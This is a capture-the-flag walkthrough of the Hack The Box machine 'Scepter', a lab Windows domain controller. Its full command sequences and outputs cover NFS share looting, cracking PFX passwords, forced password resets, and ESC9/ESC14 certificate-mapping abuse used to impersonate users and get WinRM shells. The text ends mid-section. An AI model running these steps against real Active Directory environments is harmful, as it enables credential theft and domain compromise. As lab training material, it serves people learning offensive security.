htb-scepter

htb-scepter

Nmap Scan

I started by running an initial Nmap scan:

nmap -sV -sC -oN scepter.nmap 10.10.11.65

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-08 15:00 CEST
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 73.33% done; ETC: 15:01 (0:00:04 remaining)
Nmap scan report for 10.10.11.65
Host is up (0.012s latency).
Not shown: 985 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-08 21:01:00Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-08T21:01:51+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:51+00:00; +8h00m00s from scanner time.
3269/tcp open  ssl/ldap
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after:  2025-11-01T00:41:41
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
|_http-title: Not Found
| tls-alpn: 
|_  http/1.1
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-08T21:01:45
|_  start_date: N/A
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.79 seconds

 

The server appears to be a Windows Domain Controller based on services and naming.

Enum4linux

Next, I used enum4linux-ng to enumerate more information:

enum4linux-ng -A 10.10.11.65

Key Findings:

  • LDAP and SMB are accessible.
  • SMB dialect supports SMB 2.0+ (SMB1 is disabled).
  • Null sessions are allowed over SMB.
  • Domain Name: SCEPTER
  • Domain SID: S-1-5-21-74879546-916818434-740295365
  • OS Version detected: Windows 10 / Server 2016/2019 (Build 17763)

Unfortunately, most user and group enumeration attempts returned STATUS_ACCESS_DENIED.

NFS Enumeration

Port 2049/tcp (NFS) caught my attention. I checked the available mounts:

showmount -e 10.10.11.65

Results:

Export list for 10.10.11.65:
/helpdesk (everyone)

There’s a publicly accessible /helpdesk share exposed via NFS.
This looks like a potential foothold!

NFS Mount & File Discovery

We identified an NFS share /helpdesk earlier. Let’s mount it on our Kali machine:

mkdir /tmp/helpdesk-nfs
sudo mount -t nfs 10.10.11.65:/helpdesk /tmp/helpdesk-nfs
sudo ls -la /tmp/helpdesk-nfs

Contents of the mounted share:

total 33
drwx------  2 nobody nogroup    64 Nov  1 22:02 .
drwxrwxrwt 20 root   root    12288 Apr 21 06:51 ..
-rwx------  1 nobody nogroup  2484 Nov  1 22:01 baker.crt
-rwx------  1 nobody nogroup  2029 Nov  1 22:01 baker.key
-rwx------  1 nobody nogroup  3315 Nov  1 22:01 clark.pfx
-rwx------  1 nobody nogroup  3315 Nov  1 22:01 lewis.pfx
-rwx------  1 nobody nogroup  3315 Nov  1 22:02 scott.pfx

We found several .pfx and certificate/key files — time to crack them.

 Cracking PFX Files

We attempt to crack the lewis.pfx file using pfx2john and john:

pfx2john lewis.pfx | tee -a lewis-hash
john --wordlist=/usr/share/wordlists/rockyou.txt lewis-hash


newpassword (lewis.pfx)

However, when attempting to authenticate using Lewis’s credentials, we encountered a locked account error:

[*] Using principal: e.lewis@scepter.htb 
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED

bash

Crafting a New PFX for Baker

Given that Baker’s .crt and .key were available, I manually created a new .pfx file:

openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt -passout pass:newpassword


└─$ openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt -passout pass:newpassword
Enter pass phrase for baker.key: newpassword

I then set wide-open permissions and used certipy to authenticate:

chmod 777 baker.pfx
certipy auth -pfx baker.pfx -dc-ip 10.10.11.65
[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
bash

Success!
We obtained a TGT and NTLM hash for d.baker:

**Note: If you encounter a clock skew error, fix your system time with:

sudo ntpdate 10.10.11.65

BloodHound Enumeration
Using bloodhound-python, we dumped the domain information:

└─$ bloodhound-python -u 'd.baker' --hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -d scepter.htb -ns 10.10.11.65 --auth-method ntlm -c All --zip --disable-autogc 
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: scepter.htb
INFO: Connecting to LDAP server: dc01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
INFO: Done in 00M 03S
INFO: Compressing output into 20250508232837_bloodhound.zip

BloodHound Community Edition (CE) Usage

Start BloodHound CE

sudo docker-compose -f /opt/bloodhoundce/docker-compose.yml up

Login with the Email Address: admin

http://localhost:8080/ui/login

 

We identified OutboundControl privileges on user a.carter.

Resetting A.Carter’s Password

We leveraged changepasswd.py to reset Carter’s password: or use powerview or BloodyAD

Powerview

┌──(puck㉿kali)-[~/htb/scepter]
└─$ powerview scepter.htb/d.baker@DC01.scepter.htb -H :18b5fb0d99e7a475316213c15b6f22ce --dc-ip 10.10.11.65 --use-ldap -d
/home/puck/.local/share/pipx/venvs/powerview/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Logging directory is set to /home/puck/.powerview/logs/scepter-d.baker-dc01.scepter.htb
[2025-07-25 19:19:40] Proxy-compatible mode: Returning hostname 'DC01.scepter.htb' without resolution
--snip--
[2025-07-25 19:19:40] [Get-DomainObject] LDAP search filter: (&(objectClass=*)(|(samAccountName=d.baker)(name=d.baker)(displayname=d.baker)(objectSid=d.baker)(distinguishedName=d.baker)(dnshostname=d.baker)))
[2025-07-25 19:19:40] [CustomStandardExtendedOperations] Returning cached results for query
╭─LDAP─[dc01.scepter.htb]─[SCEPTER\d.baker]-[NS:<auto>]
╰─PV ❯ Set-DomainUserPassword -Identity a.carter -AccountPassword Summer2025 
[2025-07-25 19:19:56] [Get-DomainUser] Using search base: DC=scepter,DC=htb
[2025-07-25 19:19:56] [Get-DomainUser] LDAP search filter: (&(objectCategory=person)(objectClass=user)(|(sAMAccountName=a.carter)(distinguishedName=a.carter)))
[2025-07-25 19:19:56] [CustomStandardExtendedOperations] Returning cached results for query
[2025-07-25 19:19:56] [Set-DomainUserPassword] Principal CN=a.carter,CN=Users,DC=scepter,DC=htb found in domain
[2025-07-25 19:19:56] [Set-DomainUserPassword] Using SAMR to change a.carter password
[2025-07-25 19:19:59] [Set-DomainUserPassword] Password has been successfully changed for user a.carter
[2025-07-25 19:19:59] Password changed for a.carter
╭─LDAP─[dc01.scepter.htb]─[SCEPTER\d.baker]-[NS:<auto>]
╰─PV ❯ 

BloodyAD

$ bloodyAD --host dc01.scepter.htb \
           -d "scepter.htb" \
           -u d.baker \
           -p ':18b5fb0d99e7a475316213c15b6f22ce' \
           set password "a.carter" 'Helloworld123!'
[+] Password changed successfully!
changepasswd

─$ changepasswd.py 'scepter.htb'/'a.carter'@10.10.11.65 -reset -altuser 'd.baker' -althash :'18b5fb0d99e7a475316213c15b6f22ce'
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

New password: 
Retype new password: 
[*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker
[*] Connecting to DCE/RPC as scepter.htb\d.baker
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Verification using nxc:

nxc smb 10.10.11.65 -u 'a.carter' -p 'Summer2025'

BloodHound Again – As A.Carter

Now using the newly reset a.carter account:

bloodhound-python -c All -u a.carter -p 'Password' -d scepter.htb -ns 10.10.11.65 --zip

Exploiting GenericAll on OU

BloodHound showed Carter had GenericAll rights over the STAFF ACCESS CERTIFICATE OU.

Step 1: Confirm or set GenericAll: with bloodyAD or impacket-dacledit

└─$ bloodyAD -d scepter.htb -u a.carter -p 'Summer2025' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
.
┌──(puck㉿kali)-[~/htb/scepter]
└─$ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'a.carter' -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' 'scepter.htb'/'a.carter':'Welcome1'            
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250726-001054.bak
[*] DACL modified successfully!

 

Step 2: Modify the d.baker‘s mail attribute to impersonate another user:

└─$ bloodyAD -d scepter.htb -u a.carter -p 'Summer2025' --host dc01.scepter.htb --dc-ip 10.10.11.65 set object d.baker mail -v h.brown@scepter.htb
[+] d.baker's mail has been updated
.

Requesting Certificate as H.Brown

We requested a certificate now tied to h.brown:

└─$ certipy req -username "d.baker@scepter.htb" -hashes aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'

Authentication as h.brown:

└─$ certipy auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.10.11.65 -username h.brown
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: h.brown@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
Got TGT and NTLM hash for h.brown:
aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
└─$ nxc smb 10.10.11.65 -u 'h.brown' -H 'aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c'
SMB         10.10.11.65     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.65     445    DC01             [-] scepter.htb\h.brown:4ecf5242092c6fb8c360a08069c75a0c STATUS_ACCOUNT_RESTRICTION 

 

Certipy

I’ll use certipy to look for vulnerable templates:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ certipy find -vulnerable -u d.baker -hashes :18b5fb0d99e7a475316213c15b6f22ce -dc-ip 10.10.11.65 -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 716BFFE1BE1CD1A24010F3AD0E350340
    Certificate Validity Start          : 2024-10-31 22:24:19+00:00
    Certificate Validity End            : 2061-10-31 22:34:19+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : StaffAccessCertificate
    Display Name                        : StaffAccessCertificate
    Certificate Authorities             : scepter-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireEmail
                                          SubjectRequireDnsAsCn
                                          SubjectRequireEmail
    Enrollment Flag                     : AutoEnrollment
                                          NoSecurityExtension
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-01T02:29:00+00:00
    Template Last Modified              : 2024-11-01T09:00:54+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SCEPTER.HTB\staff
      Object Control Permissions
        Owner                           : SCEPTER.HTB\Enterprise Admins
        Full Control Principals         : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Owner Principals          : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
        Write Dacl Principals           : SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Local System
                                          SCEPTER.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SCEPTER.HTB\staff
    [!] Vulnerabilities
      ESC9                              : Template has no security extension.
    [*] Remarks
      ESC9                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/scepter]

.

It finds the same certificate, and says it’s vulnerable to ESC9, but also that other prerequisites may be required for exploitation.

I’ll also note the SubjectAltRequireEmail value in Certificate Name Flag. That’s not the default setting.

The Staff group can enroll, and this group has one member: [d.baker@scepter.htb]

.

ESC14 is a certificate template abuse technique where an attacker with control over a user’s mail attribute can request a certificate containing a different user’s email (usually through altSecurityIdentities).

Find h.brown

In looking at each user individually, there’s something that jumps out on h.brown:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ netexec ldap scepter.htb -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --query "(sAMAccountName=h.brown)" ""
LDAP        10.10.11.65     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb) (signing:None) (channel binding:Never)
LDAP        10.10.11.65     389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
LDAP        10.10.11.65     389    DC01             [+] Response for object: CN=h.brown,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             objectClass          top
LDAP        10.10.11.65     389    DC01                                  person
LDAP        10.10.11.65     389    DC01                                  organizationalPerson
LDAP        10.10.11.65     389    DC01                                  user
LDAP        10.10.11.65     389    DC01             cn                   h.brown
LDAP        10.10.11.65     389    DC01             givenName            h.brown
LDAP        10.10.11.65     389    DC01             distinguishedName    CN=h.brown,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             instanceType         4
LDAP        10.10.11.65     389    DC01             whenCreated          20241031224001.0Z
LDAP        10.10.11.65     389    DC01             whenChanged          20250725160026.0Z
LDAP        10.10.11.65     389    DC01             displayName          h.brown
LDAP        10.10.11.65     389    DC01             uSNCreated           16443
LDAP        10.10.11.65     389    DC01             memberOf             CN=CMS,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Protected Users,CN=Users,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01                                  CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             uSNChanged           155863
LDAP        10.10.11.65     389    DC01             name                 h.brown

LDAP        10.10.11.65     389    DC01             userPrincipalName    h.brown@scepter.htb
LDAP        10.10.11.65     389    DC01             objectCategory       CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
LDAP        10.10.11.65     389    DC01             altSecurityIdentities X509:<RFC822>h.brown@scepter.htb
LDAP        10.10.11.65     389    DC01             dSCorePropagationData 20241101040716.0Z
LDAP        10.10.11.65     389    DC01                                  16010101000001.0Z
LDAP        10.10.11.65     389    DC01             lastLogonTimestamp   133979328266137040
LDAP        10.10.11.65     389    DC01             msDS-SupportedEncryptionTypes 0
                                                                                                                                    
┌──(puck㉿kali)-[~/htb/scepter]

There is a altSecurityIdentities property set. This property defines mappings for certificates or external Kerberos accounts for this user that can be used for authentication. I can see this explicitly with bloodyAD:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Summer2025 get object h.brown --attr altSecurityIdentities

distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
                                                                                                                              

noted above that the certificate had SubjectAltRequireEmail set as a valid Name option.

Plan

d.baker is can enroll in the StaffAccessCertificate certificate, and the altSecurityIdentities is allowed to identify users.

I know that h.brown has an altSecurityIdentities of X509:<RFC822>h.brown@scepter.htb, which is a pointer to the email address.

As a.carter, I can modify d.brown, setting their mail attribute to match h.brown’s. Then I can request a StaffAccessCertificate as d.brown, which will include the email address h.brown@scepter.htb. I’ll use that certificate to authenticate as h.brown, getting a TGT (and their NTLM).

Exploit

a.carter is in IT Support which has GenericAll over StaffAccessCertificate which contains d.baker. So I’ll give a.carter FullControl over the certificate:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Summer2025 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter 
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB

 

Now update d.baker’s email to match the email in h.brown’s altSecurityIdentities:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Summer2025 set object d.baker mail -v h.brown@scepter.htb
[+] d.baker's mail has been updated

Now I can request a certificate that as d.baker that will have h.brown as the email:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
File 'd.baker.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'd.baker.pfx'

 

This certificate has the user d.baker but the email h.brown@scepter.htb:

puck@hacky$ openssl pkcs12 -in d.baker.pfx -clcerts -nokeys -passin pass: | openssl x509 -text -noout
Certificate:                                                  
    Data:                                                     
        Version: 3 (0x2)                                      
        Serial Number:                                        
            62:00:00:00:05:a0:d6:40:4f:40:9d:db:ca:00:00:00:00:00:05 
        Signature Algorithm: sha256WithRSAEncryption          
        Issuer: DC = htb, DC = scepter, CN = scepter-DC01-CA  
        Validity                                              
            Not Before: Jul 16 22:02:16 2025 GMT              
            Not After : Jul 16 22:12:16 2027 GMT              
        Subject: CN = d.baker, emailAddress = h.brown@scepter.htb
...[snip]...

I’ll use it to request auth as h.brown, and it works:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username h.brown
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'h.brown@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'h.brown.ccache'
File 'h.brown.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

 

I’ve got both h.brown’s hash and a TGT.

WinRM

If I try to use that hash over WinRM, it fails:

puck@hacky$ evil-winrm -i dc01.scepter.htb -u h.brown -H 4ecf5242092c6fb8c360a08069c75a0c
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

This user is in the Protected Users group, which blocks NTLM authentication.

I’ll set up Kerberos auth, first using netexec to create a krb5.conf file for the domain:

puck@hacky$ netexec smb dc01.scepter.htb --generate-krb5-file scepter.htb.krb5.conf
SMB         10.10.11.65     445    DC01             [*]  Server 2019 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False) 

puck@hacky$ sudo cp scepter.htb.krb5.conf /etc/krb5.conf

Now the ticket from certipy works to authenticate:

┌──(puck㉿kali)-[~/htb/scepter]
└─$ KRB5CCNAME=h.brown.ccache evil-winrm -i dc01.scepter.htb -r scepter.htb
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents> 

And grab user.txt:

 

Shell as p.adams

At first glance there are no outbound connections visible in BloodHound but the user h.brown is part of two new groups, CMS and HELPDESK ADMINS. In order to check if any of those groups appear in ACLs I upload PowerView, calculate the SID for each group and then enumerate all ACL. This uncovers write privileges to the Alt-Security-Identities attribute for user p.adams, one of the attack scenarios for ESC14.

┌──(puck㉿kali)-[~/htb/scepter]
└─$ KRB5CCNAME=h.brown.ccache evil-winrm -i dc01.scepter.htb -r scepter.htb
                                        
   Evil-WinRM shell v3.7
   Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents> cd c:\programdata
*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> $cms = ConvertTo-Sid "CMS"
*Evil-WinRM* PS C:\programdata> $helpdesk = ConvertTo-Sid "HELPDESK ADMINS"
*Evil-WinRM* PS C:\programdata> Get-DomainObjectACL -ResolveGUIDs -Identity * | ?{($_.SecurityIdentifier -eq $cms) -or ($_.SecurityIdentifier -eq $helpdesk)}


AceQualifier           : AccessAllowed
ObjectDN               : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
ActiveDirectoryRights  : WriteProperty
ObjectAceType          : Alt-Security-Identities
ObjectSID              : S-1-5-21-74879546-916818434-740295365-1109
InheritanceFlags       : ContainerInherit
BinaryLength           : 72
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent, InheritedObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-74879546-916818434-740295365-1601
AccessMask             : 32
AuditFlags             : None
IsInherited            : True
AceFlags               : ContainerInherit, Inherited
InheritedObjectAceType : User
OpaqueLength           : 0

AceQualifier           : AccessAllowed
ObjectDN               : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
ActiveDirectoryRights  : ReadProperty
ObjectAceType          : All
ObjectSID              : S-1-5-21-74879546-916818434-740295365-1109
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : InheritedObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-74879546-916818434-740295365-1601
AccessMask             : 16
AuditFlags             : None
IsInherited            : True
AceFlags               : ContainerInherit, Inherited
InheritedObjectAceType : User
OpaqueLength           : 0

--snip--

This allows me to perform the same exploitation as before but this time with one extra step. I start by setting altSecurityIdentities for account p.adams to X509:<RFC822>p.adams@scepter.htb.

┌──(puck㉿kali)-[~/htb/scepter]
└─$ export KRB5CCNAME=h.brown.ccache ; bloodyAD -d scepter.htb -k --host dc01.scepter.htb set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb' 
[+] p.adams's altSecurityIdentities has been updated

Then I replace the mail attribute for d.baker with p.adams@scepter.htb.

┌──(puck㉿kali)-[~/htb/scepter]
└─$ bloodyAD --host dc01.scepter.htb \
           -d scepter.htb \
           -u a.carter \
           -p 'Summer2025' \
           set object d.baker mail -v p.adams@scepter.htb
[+] d.baker's mail has been updated

And finally I request another certificate for d.baker and use it to authenticate as p.adams. Once again I get the TGT and NTLM hash for the impersonated account.

So

Certificate

I’ll use certipy (just like above without -vulnerable) to find all certificates and look at HelpDesk Enrollment Certificate:


Similar to the StaffAccessCertificate above, this one has interesting values for Certificate Name Flag, in this case SubjectAltRequireDns. Only Domain Admins, Enterprise Admins, and Domain Computers can enroll in this certificate.

ESC14 – Repeat

Strategy

